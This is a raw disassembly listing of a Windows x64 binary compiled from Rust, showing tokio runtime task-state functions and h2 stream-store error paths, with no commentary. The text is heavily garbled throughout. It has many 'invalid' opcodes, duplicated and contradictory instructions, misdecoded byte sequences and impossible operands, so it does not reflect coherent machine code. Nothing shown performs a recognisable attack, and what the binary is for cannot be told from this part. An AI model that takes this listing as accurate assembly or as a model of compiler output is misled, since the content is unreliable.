lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
invalid
add byte [rax - 0x73], cl
and al, 0x38
call fcn.140108280
sti
invalid
invalid
invalid
sti
add eax, 0x54894800
and al, 0x28
mov qword [rsp + 0x28], rdx
lea rax, [0x14001b400]
dec dword [rax - 0x77]
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
adc eax, 0x7ff2b
lea rcx, [rsp + 0x38]
call fcn.140108280
sti
invalid
add ah, cl
cmp al, ch
mov ebx, edi
sti
sti
add eax, 0xcccccc00
add ah, cl
int3
int3
mov rcx, rdx
lea rdx, [0x14014b73e]
or al, byte [rax]
or al, byte [rax]
mov r8d, 2
jmp fcn.140013870
invalid
dec esp
int3
sub rsp, 0xc8
in al, dx
enter 0, 0
add byte [rdi], cl
sub dword [rsp + 0xb0], esi
movaps xmmword [rsp + 0xb0], xmm6
mov rsi, rdx
mov rax, qword [rcx]
mov rax, qword [rax]
mov eax, dword [rax]
movdqu xmm6, xmmword [rdx]
mov edi, dword [rdx + 0x34]
mov ecx, edi
test dil, 4
je 0x1400a8767
mov ecx, edi
or ecx, 8
movq rdx, xmm6
movd edx, mm6
test rdx, rdx
jne 0x1400a8767
mov qword [rsi], 1
mov dword [rsi], 1
mov qword [rsi + 8], 0x12
or ecx, 4
mov dword [rsi + 0x34], ecx
xor al, 0x41
mov eax, 0x81
xor al, 0x41
mov eax, 0x81
mov rdx, rax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r8
shr rdx, 4
shr edx, 4
shr edx, 4
mov r8d, eax
and r8b, 0xf
lea r9d, [r8 + 0x30]
xor byte [rbp - 0x73], al
push rax
push rdi
xor byte [rbp - 0x73], al
xor byte [rbp - 0x73], al
push rax
push rdi
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
enter 0xffffffffffff8844, 0x4c
or al, 0x2e
lea r8, [rcx - 1]
cmp rax, 0x10
mov rax, rdx
mov eax, edx
mov eax, edx
jae case.0x140079503.210
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400a880e
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
xor byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rsi
mov dl, 1
call fcn.140013020
idiv bh
idiv bh
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
add byte [rdi + 0x5e], bl
add byte [rdi + 0x5e], bl
ret
lea r8, [0x140114220]
mov edx, 0x80
add byte [rax], al
add byte [rax], al
call fcn.1401082c0
int3
push rbx
mov eax, 0x1008
adc byte [rax], al
add al, ch
jno 0x1400a87c3
add eax, 0xc4294800
adc byte [rax], al
add al, ch
jno 0x1400a87c3
add eax, 0xc4294800
movaps xmmword [rsp + 0xff0], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp case.default.0x1400a88a6
nop dword cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
invalid
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
invalid
je 0x1400a8895
invalid
test al, 4
je 0x1400a8add
imul eax, dword [rdx], 0
add byte [rax + 0x48da7403], ch
test al, 3
je 0x1400a8850
cmp rax, 0x3f
cmp eax, 0x3f
clc
invalid
jbe 0x1400a8af5
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
invalid
invalid
retf 0xf002
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
jne case.default.0x1400a88a6
movzx eax, dl
lea rcx, [0x140177e3c]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add rax, rcx
jmp rax
add byte [rax - 0x77], cl
and al, 0x28
sub byte [rax - 0x77], cl
je 0x1400a88dc
xor byte [rax - 0x73], cl
and al, 0x28
xor byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
cmp dword [rsi + 0x30], 3
jae 0x1400a8b0d
xor al, byte [rdx]
add byte [rax], al
invalid
xor al, byte [rdx]
add byte [rax], al
invalid
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0xd9a2b
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
add al, 0xc2
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400a8940
xorps xmm6, xmm6
test eax, eax
test byte [rbp - 0x749c8a40], 5
jne 0x1400a896c
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
add eax, 0x65000d9a
mov rdx, qword [0x58]
pop rax
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
invalid
invalid
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
add eax, dword [rax]
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400e42d0]
add eax, dword [rax]
add eax, dword [rax]
mov rbx, rcx
mov rcx, rax
mov ecx, eax
call fcn.1400d4a00
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.140096ed0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400a89ca
invalid
xor eax, 0x4b75c985
test ecx, ecx
jne 0x1400a89e4
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
add al, byte [rax]
add al, byte [rax]
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je 0x1400a8a83
mov rcx, rsi
call fcn.1400e6d10
add eax, dword [rax]
add eax, dword [rax]
movzx eax, al
lea rcx, [0x140177e4c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400a8b45
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400a8a09.0
add byte [rax], al
mov rcx, rsi
call 0x1400a8d60
jmp case.0x1400a8a09.0
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a8e20
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x1400a8aaa
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a8e20
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x58], 3
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a8e20
mov rcx, rsi
call 0x1400a8fc0
movaps xmm6, xmmword [rsp + 0xff0]
add rsp, 0x1008
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
or al, byte [rax]
or al, byte [rax]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
cmp eax, 0x40
jne 0x1400a8c49
add rsp, 0x28
jmp 0x1400a8d60
nop
add rsp, 0x28
ret
add byte [rbp + rcx*4 + 5], cl
add edx, dword [rdx + rcx]
mov edx, 0x27
call fcn.140108350
int3
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400a8d38
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400a8d2d
add rsp, 0xfb8
pop rdi
pop rsi
jmp 0x1400a8d60
jmp 0x1400a8fc0
nop
add rsp, 0xfb8
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
lea eax, [0x14014e060]
lea eax, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a8d7d
lea rcx, [rsi + 0x20]
call fcn.1400687d0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
invalid
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400a8da9
invalid
xchg esp, eax
or eax, 0x49d23100
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400a8dfc
mov rcx, qword [rsi + 0xfe0]
mov ecx, dword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
push rdi
push rbx
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
cmp byte [rdi], cl
sub dword [rsp + 0x20], esi
mov rsi, rdx
mov rdi, qword [rcx + 8]
jns case.0x140050c3f.335
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
fst dword [rbp + rcx - 0x74b79b00]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rdx + rax*8]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
ret 0xb60f
movzx eax, byte [rax + 0x120]
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400a8e92
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
jne 0x1400a8ebe
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rdx + rax*8]
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x1400a8ebe
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov r14, qword [rdx + rax*8]
xor al, 0xc2
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax - 0x77], cl
retf
mov rcx, rax
mov ecx, eax
add byte [rax - 0x77], cl
retf
mov ecx, eax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
add eax, 0xd947c
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
mov eax, 0xf8
add byte [rax], al
add byte [rax - 0x73], cl
jns 0x1400a8ed2
lea rdi, [rcx + 0x10]
mov rdx, qword [rcx + 0x10]
mov edx, dword [rcx + 0x10]
adc byte [rbp + rcx*4 + 0x42], cl
std
lea r8, [rdx - 3]
add rdx, 0xfffffffffffffffe
xor eax, eax
cmp r8, 2
cmp eax, 2
invalid
cmp eax, 2
clc
add cl, byte [rax + 0xf]
ret 0x8348
cmovb rax, rdx
cmp rax, 1
invalid
je 0x1400a8eed
invalid
add dword [rdi + rcx + 0x48], esi
test eax, eax
cmovs eax, dword [rbp + 0x484875c0]
mov ecx, edi
test rax, rax
jne case.0x140070c13.261
mov rcx, rdi
call fcn.14007b2a0
jmp case.0x140070c13.261
cmp qword [rcx + 0x18], 0
je case.0x140070c13.261
mov rbx, qword [rcx + 0x20]
test rbx, rbx
je case.0x140070c13.261
mov r14, qword [rcx + 0x28]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
invalid
je case.0x140070c13.261
add byte [rbp + rbx + 0x49], dh
cmp dword [rsi + 0x10], 0x11
cmp qword [r14 + 0x10], 0x11
jb case.0x140068ed1.283
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
or eax, 0xd9340
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8d, 0xf98
mov rcx, rdi
mov rdx, rsi
call fcn.140106250
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400a8f8c
test eax, eax
jne 0x1400a8fa6
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
adc eax, 0x3b350
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
int3
int3
push rsi
sub rsp, 0xff0
sldt word [rax]
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400a8fd0
test al, 1
je 0x1400a9079
invalid
xchg ebx, eax
add byte [rax], al
add byte [rax], al
test byte [rbx - 0x58000000], dl
add cl, byte [rdi]
test dword [rbx - 0x58000000], esp
add byte [rax], al
test al, 2
jne 0x1400a9091
test al, 8
jne 0x1400a900b
invalid
or byte [rbp + 0x19], dh
sbb dword [rax - 0x73], ecx
and byte [rax - 0x39], r9b
and al, 0x58
add al, 0
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 4
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x58]
pop rax
call fcn.1400a8e20
jmp 0x1400a9029
test al, 0x10
je 0x1400a9029
mov rax, qword [rsi + 0xfd8]
xchg al, bl
sldt word [rax]
test rax, rax
je 0x1400a9115
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec470
cmp rax, 1
mov eax, 2
cmp esi, dword [rsp + rax]
add byte [rax - 0x7d], cl
clc
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x28], rax
add byte [rax - 0x77], cl
and al, 0x28
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x1400a90a9
jne 0x1400a906f
mov rcx, rsi
add rsp, 0xff0
pop rsi
jmp 0x1400a8d60
nop
add rsp, 0xff0
add byte [rax], al
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
or al, byte [rax]
or al, byte [rax]
mov edx, 0x23
call fcn.140108350
add byte [rax], al
add al, ch
mov edi, 0x480005f2
lea ecx, str.assertion_failed:__prev.is_complete__
enter 0xa4d, 0
lea rcx, str.assertion_failed:__prev.is_complete__
enter 0xa4d, 0
lea r8, [0x14014de88]
lea eax, [0x14014de88]
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
invalid
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x58]
call fcn.140108280
invalid
invalid
invalid
add eax, 0x58d4800
cmp al, 0x49
or al, byte [rax]
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 8
and al, 0x68
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
adc dword [rsp + 0x70], eax
adc dword [rsp + 0x70], eax
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
int3
adc byte [rax], al
add al, ch
lea eax, [0x10433d962]
movaps xmmword [rsp + 0xff0], xmm6
sldt word [rax]
sldt word [rax]
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400a919a
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov ecx, eax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
invalid
je 0x1400a91c5
sub ebp, dword [rax + 0x64840f04]
add al, byte [rax]
test al, 4
je 0x1400a9406
invalid
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
invalid
test al, 3
je 0x1400a9180
cmp rax, 0x3f
invalid
jbe 0x1400a941e
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
mov cl, 0xe
jne 0x1400a919a
movzx eax, dl
ret 0x8d48
lea rcx, [0x140177e5c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
je 0x1400a920c
and al, 0x30
and al, 0x30
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp dword [rsi + 0x30], 3
jae 0x1400a9436
lea rcx, [rsi + 0x30]
xor byte [rax - 0x75], r9b
jle 0x1400a923b
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
or eax, 0x8b486500
adc al, 0x25
and eax, 0x58
mov rax, qword [rdx + rax*8]
and eax, 0x58
mov rax, qword [rdx + rax*8]
ret 0xb60f
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400a9270
invalid
xorps xmm6, xmm6
xorps xmm6, xmm6
test eax, eax
jne 0x1400a929c
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
lea eax, [rsi + 0xd0]
invalid
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
invalid
lea eax, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
adc eax, 0x3b076
mov al, 3
add byte [rax - 0x77], cl
retf
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
wait
mov bh, 2
invalid
wait
mov bh, 2
add byte [rax - 0x77], cl
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140096ed0
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x1400a9314
mov ecx, dword [0x140182314]
or eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [rdi + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400a9338
lea rdi, [rsi + 0x20]
test al, al
je 0x1400a93ac
invalid
mov word [rax], es
add byte [rax], al
ror byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177e6c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
jbe 0x1400a946e
adc dword [rcx], eax
add byte [rax], al
invalid
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400a9339.0
add byte [rax], al
mov rcx, rsi
call 0x1400a9770
jmp case.0x1400a9339.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov rcx, rdi
call fcn.1400a8e20
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
jmp 0x1400a93d3
mov qword [rsp + 0x58], 4
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a8e20
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
and al, 0x60
mov qword [rsp + 0x70], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 3
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.1400a8e20
mov rcx, rsi
call 0x1400a9830
movaps xmm6, xmmword [rsp + 0xff0]
add rsp, 0x1008
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov rdx, rax
xor r8d, r8d
sal dh, 0xc2
add eax, dword [rcx + 0xf]
xchg esp, eax
ror byte [rcx + 9], 0xc0
sal dh, 0xc2
add eax, dword [rcx + 0xf]
xchg esp, eax
ror byte [rcx + 9], 0xc0
or r8, 0x20
lock cmpxchg qword [rcx], r8
jne 0x1400a9690
test dl, 3
je 0x1400a96de
add esi, dword [rsi + rbp + 0x48]
mov eax, 0xffffffc0
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400a9748
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400a973d
add rsp, 0xfb8
pop rdi
pop rsi
jmp 0x1400a9770
lea rsi, [rcx + 0x20]
mov qword [rsp + 0x20], 4
lea rdx, [rsp + 0x20]
mov rdi, rcx
mov rcx, rsi
call fcn.1400a8e20
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 3
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.1400a8e20
mov rcx, rdi
add rsp, 0xfb8
pop rdi
pop rsi
jmp 0x1400a9830
nop
add rsp, 0xfb8
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400a978d
lea rcx, [rsi + 0x20]
call fcn.1400396d0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400a97b9
test rax, rax
jne 0x1400a97f6
lea rcx, [rsi + 0x30]
call fcn.14007b2a0
jmp 0x1400a97f6
cmp qword [rsi + 0x38], 0
je 0x1400a97f6
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400a97f6
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a97f6
cmp qword [rbx + 0x10], 0x11
jb 0x1400a97e4
mov rdi, qword [rdi - 8]
